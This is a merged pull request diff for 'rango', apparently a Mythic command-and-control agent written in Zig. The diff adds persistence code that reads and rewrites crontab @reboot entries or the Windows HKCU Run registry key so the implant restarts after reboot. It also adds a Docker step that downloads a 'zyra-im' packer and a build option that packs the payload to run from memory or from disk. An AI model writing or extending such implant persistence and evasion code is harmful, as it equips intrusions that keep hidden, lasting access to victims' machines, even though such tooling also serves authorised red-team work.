Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions Payload_Type/rango/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,10 @@ RUN wget https://github.com/CX330Blake/ZYRA/releases/download/v0.1.6/zyra-linux-
chmod +x zyra && \
mv zyra /usr/local/bin/zyra

RUN wget https://github.com/pop-ecx/ZYRA/releases/download/v0.1.0/zyra-im -O zyra-im && \
chmod +x zyra-im && \
mv zyra-im /usr/local/bin/zyra-im

RUN wget -q https://ziglang.org/download/0.15.1/zig-x86_64-linux-0.15.1.tar.xz && \
tar -xf zig-x86_64-linux-0.15.1.tar.xz && \
mv zig-x86_64-linux-0.15.1 /usr/local/zig-0.15.1 && \
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/rango/rango/agent_code/build.zig.zon
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@

// Tracks the earliest Zig version that the package considers to be a
// supported use case.
.minimum_zig_version = "0.14.0",
.minimum_zig_version = "0.15.1",

// This field is optional.
// Each dependency must either provide a `url` and `hash`, or a `path`.
Expand Down
33 changes: 30 additions & 3 deletions Payload_Type/rango/rango/agent_code/src/agent.zig
Original file line number Diff line number Diff line change
Expand Up @@ -82,10 +82,37 @@ pub const MythicAgent = struct {
const exepath = try std.fs.selfExePathAlloc(self.allocator);
defer self.allocator.free(exepath);

PersistUtils.install_cron(exepath, self.allocator) catch |err| {
std.debug.print("{}", .{err});
};
//There is a bug where if you use zyra, the path is different from where
//the agent is. So we'll just install cron only if zyra isn't used
//This is a temporary workaround until I do a better persistence mechanism
//We also need to check if the cron entry is different if the binary
//was moved to a different location. If it was moved, we need to update
//the cron entry as well.

const is_zyra = std.mem.startsWith(u8, exepath, "/tmp/zyra");
const in_mem = std.mem.endsWith(u8, exepath, " (deleted)");

if (is_zyra or in_mem) {
print("", .{});
} else {
// Here is where we should check if a cron job exists for this exepath
// If it doesn't, we install one
const cron_exists = try PersistUtils.get_cron_entries(self.allocator);
if (cron_exists == null or cron_exists.?.len == 0) {
PersistUtils.install_cron(exepath, self.allocator) catch |err| {
std.debug.print("{}", .{err});
};
} else {
const cron_path = cron_exists.?;
if (!std.mem.eql(u8, cron_path, exepath)) {
PersistUtils.update_cron_entry(cron_path, exepath, self.allocator) catch |err| {
std.debug.print("{}", .{err});
};
} else {
print("", .{});
}
}
}
while (self.is_running) {
if (self.config.kill_date) |kill_date| {
if (TimeUtils.isKillDateReached(kill_date)) {
Expand Down
42 changes: 42 additions & 0 deletions Payload_Type/rango/rango/agent_code/src/utils.zig
Original file line number Diff line number Diff line change
Expand Up @@ -366,4 +366,46 @@ pub const PersistUtils = struct {
}
//_ = write_proc.wait() catch {};//line caused a panic in my tests, commenting out for now
}
pub fn get_cron_entries(allocator: std.mem.Allocator) !?[]const u8 {
if (builtin.os.tag == .windows) {
const result = try std.process.Child.run(.{
.allocator = allocator,
.argv = &.{
"reg.exe",
"query",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
"/v",
"Rango",
},
});

if (result.term.Exited != 0) {
return try allocator.dupe(u8, "");
}
return try allocator.dupe(u8, result.stdout);
} else {
const result = try std.process.Child.run(.{
.allocator = allocator,
.argv = &.{ "crontab", "-l" },
.max_output_bytes = 8192,
});
const out = result.stdout;
var filtered_lines = std.mem.tokenizeAny(u8, out, "\n");
while (filtered_lines.next()) |line| {
if (std.mem.startsWith(u8, std.mem.trim(u8, line, " \t"), "@reboot")) {
var parts = std.mem.tokenizeScalar(u8, line, ' ');
_ = parts.next(); // skip "@reboot"

if (parts.next()) |path| {
return path;
}
}
}
return null; // No entry found
}
}
pub fn update_cron_entry(old_path: []const u8, new_path: []const u8, allocator: std.mem.Allocator) !void {
try PersistUtils.remove_cron_entry(old_path, allocator);
try PersistUtils.install_cron(new_path, allocator);
}
};
18 changes: 16 additions & 2 deletions Payload_Type/rango/rango/agent_functions/builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,13 @@ class Rango(PayloadType):
description="Pack the final payload with ZYRA (Linux only)",
default_value=False,
),
BuildParameter(
name="In Mem or Disk",
parameter_type=BuildParameterType.ChooseOne,
description="Choose whether to load the payload into memory or write to disk before execution",
choices=["In Mem", "Disk", "None"],
default_value="Disk",
),
BuildParameter(
name="Packing_key",
parameter_type=BuildParameterType.String,
Expand Down Expand Up @@ -173,10 +180,17 @@ async def build(self) -> BuildResponse:
StepSuccess=True
))
pack_with_zyra = self.get_parameter("pack_with_zyra")
execution_mode = self.get_parameter("In Mem or Disk")
packing_key = self.get_parameter("Packing_key")
if pack_with_zyra and target_os=="linux" and packing_key:
packed_filename = f"{filename}"
pack_cmd = f"zyra -o {packed_filename} -k {packing_key} {filename}"
if execution_mode == "In Mem":
packed_filename = f"{filename}.p"
pack_cmd = f"zyra-im -o {packed_filename} -k {packing_key} {filename}"
elif execution_mode == "Disk":
packed_filename = f"{filename}"
pack_cmd = f"zyra -o {packed_filename} -k {packing_key} {filename}"
else:
pass # No packing if "None" is selected
proc = await asyncio.create_subprocess_shell(
pack_cmd,
stdout=asyncio.subprocess.PIPE,
Expand Down